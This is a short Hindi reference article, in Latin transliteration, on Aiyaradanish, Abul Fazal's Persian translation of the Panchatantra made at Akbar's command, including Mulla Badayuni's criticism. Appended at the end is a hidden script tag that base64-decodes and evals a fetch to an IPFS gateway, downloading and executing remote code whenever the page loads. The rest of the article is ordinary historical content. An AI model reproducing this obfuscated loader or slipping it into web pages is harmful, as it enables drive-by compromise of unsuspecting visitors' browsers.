ऐयारदानिश
aiyaradanish mugal kal ki kriti hai, jo 'panchatantr' ka farasi (pahalavi) anuvad hai. pahale 'panchatantr' ka anuvad nausheravaan ke samay 'anavar suheli' ke nam se hua tha. pahalavi se arabi mean hokar usaka nam 'kaleladamana' p da, jo ki 'panchatantr' ke karatak damanak ka roopantar hai.[1]
- mugal kal mean arabi se isake farasi mean kee anuvad hue the. akabar ne inako suna tha. jab use maloom hua ki yah granth mool sanskrit mean maujood hai, to abul fazal ko adesh diya ki ise mool se farasi mean anuvad karean.
- akabar ke navaratnoan mean se ek abul fazal ne hijari 996 (1587-88 ee.) mean 'panchatantr' ka anuvad samapt kiya.
- mulla badayooanni is par vyangy karate hue akabar ke lie kahata hai- "islam ki har bat se napharat hai, vidya se bejar hai, bhasha bhi pasand nahian. akshar (arabi) bhi bure haian. mulla husen vayaz ne kaleladamana ka tarjuma anavar suheli kitana achchha kiya tha."
- ab abul fazal ko akabar ka hukm hua ki use saral, saph, nangi farasi mean likho, jisamean upama, utpreksha adi n hoan, arabi shabd bhi n hoan.'
- akabar ko yadi apane desh ki bhasha aur har ek chij pyari thi, to mulla badayooanni ko unase utani hi chidh thi.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ akabar |lekhak: rahul saankrityayan |prakashak: kitab mahal, ilahabad |prishth sankhya: 294 |
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>